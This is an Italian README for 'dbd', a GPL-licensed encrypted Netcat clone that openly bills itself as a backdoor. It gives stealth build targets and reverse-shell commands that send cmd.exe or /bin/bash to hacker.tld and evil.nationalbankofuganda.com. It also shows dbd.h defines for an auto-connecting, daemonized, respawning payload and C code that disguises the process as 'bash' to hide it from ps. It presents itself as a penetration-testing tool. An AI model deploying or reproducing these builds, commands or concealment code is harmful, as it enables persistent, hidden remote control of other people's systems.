
d8888b. d8888b. d8888b.
88 8D 88 8D 88 `8D
88 88 88oooY' 88 88
88 88 88~~~b. 88 88
88 .8D 88 8D 88 .8D
Y8888D' Y8888P' Y8888D'
#Durandal's Backdoor #Copyright (C) 2013 Kyle Barnthouse [email protected] #dbd è distribuito sotto la GNU GPL #Binario Mipsbe aggiunto da Darkerego [https://github.com/darkerego] [(mailto:[email protected])]
###SINOSSI
dbd è un clone di Netcat, progettato per essere portabile e offrire una crittografia forte. Funziona su sistemi operativi Unix-like e su Microsoft Win32. dbd offre la crittografia AES-CBC-128 + HMAC-SHA1 (di Christophe Devine), l'esecuzione di programmi (opzione -e), la scelta della porta sorgente, la riconnessione continua con ritardo e alcune altre utili funzionalità. dbd supporta solo la comunicazione TCP/IP. Il codice sorgente e i binari sono distribuiti sotto la GNU General Public License.
###COMPILAZIONE
$ make
usage:
make unix - Linux, NetBSD, FreeBSD, OpenBSD
make unix32 - Linux, NetBSD, FreeBSD, OpenBSD 32-bit
make sunos - SunOS (Solaris)
make win32 - native win32 console app (w/ Cygwin + MinGW)
make win32bg - create a native win32 no-console app (w/ Cygwin + MinGW)
make win32bg CFLAGS=-DSTEALTH - stealthy no-console app
make mingw - native win32 console app (w/ MinGW MSYS)
make mingwbg - native win32 no-console app (w/ MinGW MSYS)
make mingwbg CFLAGS=-DSTEALTH - stealthy no-console app (w/ MinGW MSYS)
make cygwin - Cygwin console app
make darwin - Darwin
cross-compile options:
make mingw-cross - win32 cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross - win32 no-console cross compile (i586-mingw32msvc-gcc)
make mingwbg-cross CFLAGS=-DSTEALTH - stealthy win32 cross compile
make unix CROSS_COMPILE=<path/to/toolchain-> - cross compile for any arch
roll up a tarball (move your compiled stuff to binaries/ first:
make dist - create tarball with source files, readme, and binaries/
Per compilare dbd su un sistema operativo Unix-like servono gcc e gli strumenti di sviluppo pertinenti. Per Linux, FreeBSD, NetBSD, OpenBSD (e probabilmente altri), digitare:
$ make unix
Per SunOS/Solaris, digitare:
$ make sunos
Per compilare dbd sotto Microsoft Windows (NT/2K/XP/2K3) hai bisogno di MinGW+MSYS, oppure di Cygwin con supporto completo allo sviluppo (il gcc MinGW di Cygwin). Per compilare un'applicazione console Win32 nativa di dbd sotto Cygwin, digitare:
$ make win32
oppure, sotto MSYS:
$ make mingw
Per compilare un'applicazione senza console ("WinMain") sotto Cygwin, digitare:
$ make win32bg
oppure, sotto MSYS:
$ make mingwbg
Per compilare un'applicazione console specifica per Cygwin, digitare:
$make cygwin
Potresti voler modificare il comportamento predefinito di dbd. Una delle cose più importanti è cambiare il segreto condiviso predefinito con la tua passphrase. Modifica dbd.h e sostituisci i valori predefiniti con le tue preferenze. Potresti, ad esempio, voler hardcodare un host + porta a cui connetterti se dbd viene avviato senza opzioni. Esempi completi sono forniti in dbd.h.
###ESEMPI DI UTILIZZO
Con un po' di immaginazione, dbd può essere usato per molte cose:
Usa dbd per trasferire file in modo sicuro tra due reti:
snafu$ dbd -l -p 12345 -k secret > output.file
fubar$ cat input.file | dbd -k secret snafu 12345
oppure da win32:
C:\somedir>type input.fil | dbd -k secret snafu 12345
Usa dbd come chat semplice (ma sicura):
snafu$ dbd -P snafu -Hon fubar 1234
fubar$ dbd -Pfubar -Hon -l -p 1234
Usa dbd come backdoor per pen-test:
C:\hacked box>dbdbg.exe -r1800 -q -e cmd.exe hacker.tld 443
oppure sotto sistemi operativi Unix-like:
root@owned# ./dbd -r1800 -Don -e /bin/bash hacker.tld 993
###OPZIONI DI HARDCODING
Oltre a usare le opzioni da riga di comando, puoi hardcodare le variabili usando i #define in dbd.h. Per farlo, imposta le variabili che desideri usare come costanti con nome e compila normalmente. Ad esempio, se volessi hardcodare un eseguibile dbd che si riconnette a "evil.nationalbankofuganda.com" sulla porta 995 ed esegue "/bin/bash", potresti eseguire:
root@owned# ./dbd -e /bin/bash evil.nationalbankofuganda.com 995
oppure, usando #define hardcodati, potresti modificare dbd.h:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
Puoi anche impostare le opzioni di respawn e stealth per aiutare a mantenere la connessione:
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define DAEMONIZE 1
Questo imposterà la connessione in modo che diventi un demone ("melt" in gergo malware), non invii mai output su STDOUT e tenti di respawnare la connessione ogni 15 minuti qualora si disconnettesse dal listener.
###TECNOLOGIA DI OCCULTAMENTO ROMULANA
Ora entriamo nelle cose divertenti. Una volta che sei un maestro nell'hardcodare le opzioni nella tua backdoor, puoi usare quella che è probabilmente la costante con nome più divertente a nostra disposizione: CLOAK. Per farlo, imposta semplicemente il valore:
#define CLOAK 1
NOTA: attualmente funziona solo su compilazioni *nix. Col tempo ho intenzione di aggiungere la migrazione/hooking dei processi Win32, così anche quei target potranno ricevere un po' di amore romulano.
Per gli ambienti *nix, questa opzione ripulisce argv[0] e lo sostituisce con la stringa "bash\0". Ripulisce anche tutti gli altri argv[] (sarebbe ridicolo se ps restituisse "bash -e /bin/bash someremotehost.com 443", non credi?) Spero che sia ovvio che NON PUOI USARE QUESTA OPZIONE A MENO CHE TU NON STIA HARDCODANDO LE TUE VARIABILI IN DBD.H. Inoltre, se stai testando questo sul tuo sistema, sarà divertente scegliere il pid giusto da uccidere. ;)
Sentiti libero di usare questo ripulitore in qualsiasi cosa su cui ti trovi a lavorare:
//grab our named constant
int cloak = CLOAK;
//Engage cloaking device
if(cloak)
{
#ifdef WIN32
//stub
#else
//change argv[0] to say bash
int scrub;
strncpy((char *)argv[0], "\0", strlen((char *)argv[0]) + 1);
strcpy((char *)argv[0], "bash\0");
for (scrub = 1; scrub < argc; scrub++)
{
strncpy((char *)argv[scrub], "\0", strlen((char *)argv[scrub]) + 1);
}
#endif
}
###AVVERTENZA
Non passare input memorizzato nella cache (un file con comandi o simili) a una sessione "dbd -e" in ascolto. "dbd -e" usa pipe per passare i dati tra il programma eseguito e dbd. Le pipe vengono usate (invece di semplici descrittori di file duplicati in pass-through) a causa della crittografia tra le pipe e il socket. Per evitare che l'estremità di scrittura di una delle pipe blocchi l'intero processo, l'ho trasformata in un descrittore non bloccante. C'è la possibilità che, passando troppi input contemporaneamente al programma -e, questi vengano troncati (tagliati) poiché il buffer della pipe (nel sistema operativo) non può contenere tutti i dati. Questo problema può essere risolto, ad esempio, rendendo dbd multi-thread, ma eviterò questa soluzione il più a lungo possibile per motivi di compatibilità.
###CROSS-COMPILAZIONE
Poiché dbd è stato progettato per interoperare con altri strumenti/framework, make ora consente la cross-compilazione win32 su sistemi Linux che hanno la toolchain mingw32-gcc. Queste opzioni sono quasi identiche alle loro controparti native Windows, con l'aggiunta di "-cross" dopo la build scelta. Esempio:
$ make mingw-cross
farà la stessa cosa su un sistema Linux che
$ make mingw
farebbe su un sistema win32 con mingw/msys installato.
Al momento tutte le opzioni di cross-compilazione sono costruite pensando a Kali Linux, ma dovrebbero funzionare su qualsiasi *nix con un po' di cura. Se hai mingw32-gcc installato e make non compila, modifica la variabile WCC all'inizio del Makefile e inserisci il percorso del tuo binario mingw32-gcc.
A partire da dbd-1.5 puoi usare qualsiasi toolchain di cross-compilazione per compilare dbd impostando il prefisso della toolchain come CROSS_COMPILE. Ad esempio, compilare una versione arm è facile come:
$ make unix CROSS_COMPILE=arm-linux-gnueabi-
###MAGIA AVANZATA
Se desideri integrare dbd con un framework di exploit, puoi scrivere un modulo che genera un dbd.h personalizzato con opzioni di configurazione specifiche per il tuo target. Tutto ciò che non è esplicitamente #definito in questo file userà comunque i valori predefiniti, quindi non devi scrivere tutto nell'header. Esempio: elimina il file dbd.h e sostituiscilo con:
#define DOLISTEN 0
#define HOST "evil.nationalbankofuganda.com"
#define PORT 995
#define EXECPROG "/bin/bash"
#define RESPAWN_ENABLED 1
#define RESPAWN_INTERVAL 900
#define QUIET 1
#define CLOAK 1
#define SHARED_SECRET "customcrypto"
quindi esegui make per creare un payload a connessione automatica con occultamento e respawn che si riconnette a un agente dbd in ascolto su evil.nationalbankofuganda.com, eseguito con le opzioni:
$ dbd -l -p 995 -k customcrypto
Un altro trucco avanzato è compilare dbd usando dietlibc o uClibc. Per compilare un agente dbd linux con dietlibc, usa:
$ make unix CROSS_COMPILE="diet -Os "
Presta attenzione allo spazio dopo la "s" nella stringa. Questo consente al Makefile di aggiungere gcc con i CFLAGS e LDFLAGS standard, così il tuo agente viene compilato correttamente. Il vantaggio di usare dietlibc è che produce un eseguibile statico al 100% molto piccolo per l'ambiente di destinazione (circa 70K per un agente dbd linux prima del packing, rispetto ai 700K+ standard con glibc e gcc -static). Usare uClibc è ancora più semplice, poiché devi solo impostare il prefisso di crossbuild per la tua toolchain sotto CROSS_COMPILE.
###LICENZA
dbd Copyright (C) 2013 Kyle Barnthouse [email protected]
Questo programma è software libero; puoi ridistribuirlo e/o modificarlo sotto i termini della GNU General Public License come pubblicata dalla Free Software Foundation; sia la versione 2 della Licenza, o (a tua scelta) qualsiasi versione successiva.
Questo programma è distribuito nella speranza che sia utile, ma SENZA ALCUNA GARANZIA; senza nemmeno la garanzia implicita di COMMERCIABILITÀ o IDONEITÀ PER UN PARTICOLARE SCOPO. Vedere la GNU General Public License per maggiori dettagli.
Dovresti aver ricevuto una copia della GNU General Public License insieme a questo programma; in caso contrario, scrivi alla Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
L'implementazione di AES-CBC-128 + HMAC-SHA1 di dbd è Copyright (C) Christophe Devine [email protected] ed è distribuita sotto la GNU General Public License (GPL).
Parte del codice (per doexec_win32.h) è stata derivata da doexec.c della porta Win32 di Netcat (C) Weld Pond e hobbit. Parti di doexec.c sono Copyright (C) 1994 Nathaniel W. Mishkin (il codice di doexec.c è stato originariamente derivato da rlogind.exe).
La versione originale di Netcat è stata scritta da hobbit [email protected]. La versione NT è stata realizzata da Weld Pond [email protected].
(C) Kyle Barnthouse [email protected]
Consulente di sicurezza
gitbrew.org
Hephaestus Security